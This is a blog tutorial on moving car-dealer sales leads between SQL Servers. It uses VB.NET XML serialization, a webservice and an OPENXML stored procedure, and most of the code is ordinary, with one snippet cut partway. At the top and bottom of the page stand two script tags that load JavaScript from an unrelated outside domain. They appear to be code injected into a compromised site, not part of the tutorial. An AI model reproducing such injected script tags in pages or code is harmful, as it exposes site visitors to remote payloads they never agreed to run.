Pushing Data between Servers: XML, Webservices, and SQL

<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script>

For the past few weeks we've been looking at utilizing XML to work with DATA from our SQL Server.  We've talked about building a custom XML document with XMLSerializer, Using the XML Datatype built in SQL 2005, and finally using OPENXML to insert records into our Database.  Today we are going to see how we can use each of those tools to solve a common issue for businesses, which is how to push data between different servers located on different networks.  In this scenario our requirements are to push the daily sales leads from a Car dealer up to the corporate office.  Our SQL servers are on disparate servers so we don't have the luxury of using DTS to get the job done.  For this example we are going to create 2 projects.  A client project which will serialize the leads from the database and send them to a webservice; which is our second project, to be inserted into the database.  If you chose to automate the process of pushing the data you could create a window service and schedule a job, but for the purpose of this project I have chosen to go with a web project for our client. 

So lets get started and create a web project for our client, and a webservice project for our server.

For our client we are going to create 2 class files; SalesLead and SalesLeadPush.  We will use SalesLeadPush to serialize our data and send it to the server, and SalesLead is our object we are using to serialize.

 

Database Model

SalesLead.VB 

Taking a brief look at the class file you can see how we are using class objects and attributes to define our xml structure.

Imports System.Xml
Imports System.Xml.Serialization
Namespace SalesTools
    Public Enum ContactType As Integer
        Email = 1
        Phone = 2
    End Enum
    Public Class SalesLead
        Public Leads As New List(Of Lead)

        Public Sub New()

        End Sub
    End Class
    Public Class Lead
        <XmlAttribute("LeadID")> _
        Public LeadID As Integer
        <XmlAttribute("ContactID")> _
        Public ContactID As Integer
        <XmlAttribute("VehicleID")> _
        Public VehicleID As Integer
        <XmlAttribute("SiteID")> _
        Public SiteID As Integer
        Public Contact As Contact

        Public Sub New()

        End Sub
    End Class

SalesLeadPush.VB

Here is where we use a MemoryStream object to serialize our data and then send it to the webserivice.

  1:  Public Class SalesLeadPush

  2:      Public Function SerializeXML() As XmlDocument

  3:  

  4:          Dim SiteID = 3214

  5:  

  6:          Dim sqlCon As New SqlConnection(ConfigurationManager.ConnectionStrings("salesPush").ConnectionString)

  7:          Dim CmdTxt As String = "getSalesLeads"

  8:          Dim SqlCmd As New SqlCommand(CmdTxt, sqlCon)

  9:          SqlCmd.CommandType = CommandType.StoredProcedure

 10:          Dim sqlDS As New DataSet

 11:          Dim sqlDA As New SqlDataAdapter(SqlCmd)

 12:  

 13:          'Set up Serializer

 14:          Dim mStream As MemoryStream = New MemoryStream

 15:          Dim xns As XmlSerializerNamespaces = New XmlSerializerNamespaces

 16:          Dim mySerializer As New XmlSerializer(GetType(SalesTools.SalesLead))

 17:          Dim xmlDoc As New XmlDocument

 18:  

 19:          'Set up object

 20:          Dim oSalesTools As New SalesTools.SalesLead

 21:  

 22:          xns.Add(String.Empty, String.Empty)

 23:          sqlDA.Fill(sqlDS)

 24:  

 25:          Dim i As Integer = 0

 26:          Dim sLeadID As Integer = 0

 27:          Dim sContactID As Integer = 0

 28:  

 29:          For Each Row As DataRow In sqlDS.Tables(0).Rows

 30:              Dim oContact As New SalesTools.Contact

 31:              Dim oVehicleList As New SalesTools.Vehicle

 32:              Dim oLead As New SalesTools.Lead

 33:  

 34:              oContact.ContactID = CInt(Row("ContactID").ToString)

 35:              oContact.AddressLine1 = Row("contactAddressLine1").ToString

 36:              oContact.City = Row("contactCity").ToString

 37:              oContact.State = Row("contactState").ToString

 38:              oContact.Postal = Row("contactPostal").ToString

Break in Code Snippet

 57:  

 58:              oLead.Contact = oContact

 59:  

 60:              oLead.LeadID = CInt(Row("LeadID").ToString)

 61:              oLead.ContactID = CInt(Row("ContactID").ToString)

 62:              oLead.VehicleID = CInt(Row("VehicleID").ToString)

 63:              oLead.SiteID = SiteID

 64:              oSalesTools.Leads.Add(oLead)

 65:  

 66:          Next

 67:          mySerializer.Serialize(mStream, oSalesTools, xns)

 68:          SqlCmd.Connection.Close()

 69:          SqlCmd.Dispose()

 70:  

 71:          xmlDoc.LoadXml(UTF8ByteArrayToString(mStream.ToArray()))

 72:  

 73:          Dim ws As New SalesLeadListen.SalesLeadListen

 74:          Dim Result As New XmlDocument

 75:          Result.LoadXml(ws.LoadLeads(xmlDoc).OuterXml)

 76:  

 77:          Return Result

 78:      End Function

 79:  

 80:      Private Function UTF8ByteArrayToString(ByVal characters As Byte()) As String

 81:  

 82:          Dim encoding As New UTF8Encoding()

 83:          Dim constructedString As String = encoding.GetString(characters)

 84:          Return (constructedString)

 85:      End Function

 86:  

 87:      Private Function StringToUTF8ByteArray(ByVal pXmlString As String) As Byte()

 88:          Dim encoding As New UTF8Encoding()

 89:          Dim byteArray As Byte() = encoding.GetBytes(pXmlString)

 90:          Return byteArray

 91:      End Function

 92:  

 93:  End Class

 

Before we move on to the webservice we will add code to our default.aspx to call the SerializeXML function and display the returned result.

Now lets move over to our 2nd project and look at the webservice. We are going to start off by creating a small class object which we will use to build our result to return to the client.

Public Class Result
    Public Sucess As String
    Public exception As String
    Public Sub New(ByVal suc, ByVal ex)
        Sucess = suc
        exception = ex
    End Sub
    Public Sub New()

    End Sub
End Class

Looking at our DB Model we can see that our table schema is slightly different than that of the clients.

Stored Procedure

Depending on your business rules, you will either want to handle duplicate entries during this process, or afterwards.  I'm not taking duplicate entries into consideration in this example.

CREATE PROCEDURE dbo.LoadSiteLead 
    @leadXML As XML
AS

DECLARE @XMLDocPointer INT

EXEC sp_xml_preparedocument @XMLDocPointer OUTPUT, @leadXML
BEGIN TRANSACTION

INSERT INTO Lead(siteLeadID, siteContactID, siteVehicleID, siteID)
SELECT LeadID, ContactID, VehicleID, SiteID
FROM OpenXML(@XMLDocPointer, '/SalesLead/Leads/Lead', 1)
WITH (LeadID Int, ContactID Int, VehicleID Int, SiteID Int)

INSERT INTO Contact(
    siteContactID, 
    contactFullName, 
    contactFirstName, 
    contactLastName, 
    contactAddressLine1,
    contactCity, 
    contactState, 
    contactPostal, 
    contactEmail, 
    contactPhone, 
    contactBestContactTime, 
    contactBestContactMethod)
SELECT ContactID, 
    FullName, 
    FirstName, 
    LastName, 
    AddressLine1, 
    City, 
    State, 
    Postal, 
    Email, 
    Phone,
    BestContactTime, 
    ContactMethod
FROM OpenXML(@XMLDocPointer, '/SalesLead/Leads/Lead/Contact', 2)
WITH(ContactID Int '@ID',
    FullName varchar(250), 
    FirstName varchar(125), 
    LastName varchar(125),
    AddressLine1 varchar(200), 
    City varchar(50), 
    State char(2), 
    Postal VarChar(10), 
    Email VarChar(100), 
    Phone VarChar(100),
    BestContactTime varchar(50), 
    ContactMethod varchar(50) '@ContactMethod')

INSERT INTO Vehicle(
    siteVehicleID, 
    vehicleMake, 
    vehicleModel, 
    vehicleYear, 
    vehicleVIN, 
    vehicleColor, 
    vehicleBasePrice, 
    vehicleSRP)
SELECT VehicleID, 
    Make, 
    Model, 
    [Year], 
    VIN,
    Color, 
    BasePrice, 
    SRP
FROM OpenXML(@XMLDocPointer, '/SalesLead/Leads/Lead/Contact/Vehicle', 2)
WITH (VehicleID Int '@ID', 
    Make varchar(50), 
    Model varchar(50), 
    [Year] char(4), 
    VIN varchar(200), 
    Color varchar(50), 
    BasePrice Money, 
    SRP Money)


COMMIT
EXEC sp_xml_removedocument @XMLDocPointer

WebService : SalesLeadListen

You will notice in the Try Catch block that we are loading the Result Object with Success / Exception message.  This object is then returned to the client as serialized XML.

Public Class SalesLeadListen
    Inherits System.Web.Services.WebService

    <WebMethod()> _
    Public Function LoadLeads(ByVal LeadsXML As XmlDocument) As Result
        Dim sqlCon As New SqlConnection(ConfigurationManager.ConnectionStrings("salesPush").ConnectionString)
        Dim CmdTxt As String = "LoadSiteLead"
        Dim SqlCmd As New SqlCommand(CmdTxt, sqlCon)
        Dim rst As Result
        SqlCmd.CommandType = CommandType.StoredProcedure
        SqlCmd.Parameters.AddWithValue("@LeadXML", LeadsXML.OuterXml)

        Dim SB As New StringBuilder

        Try
            SqlCmd.Connection.Open()
            SqlCmd.ExecuteNonQuery()
            rst = New Result("Success", "0")
        Catch SQLex As SqlException
            rst = New Result("Failure", SQLex.Message)
        Catch ex As Exception
            rst = New Result("Failure", ex.Message)
        Finally
            SqlCmd.Connection.Close()
            SqlCmd.Dispose()
        End Try


        Return rst

    End Function

End Class

Wrapping this up, you can now see how using XML and Webservices we are able to push data from one server to another server regardless of Database Schema and Server Location. 

That's all for now, I'll see you on the flip side of things.

Code

 

Enjoy,

Technorati Tags: .NET, XML, XMLSerializer, SQL

Dave

<script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>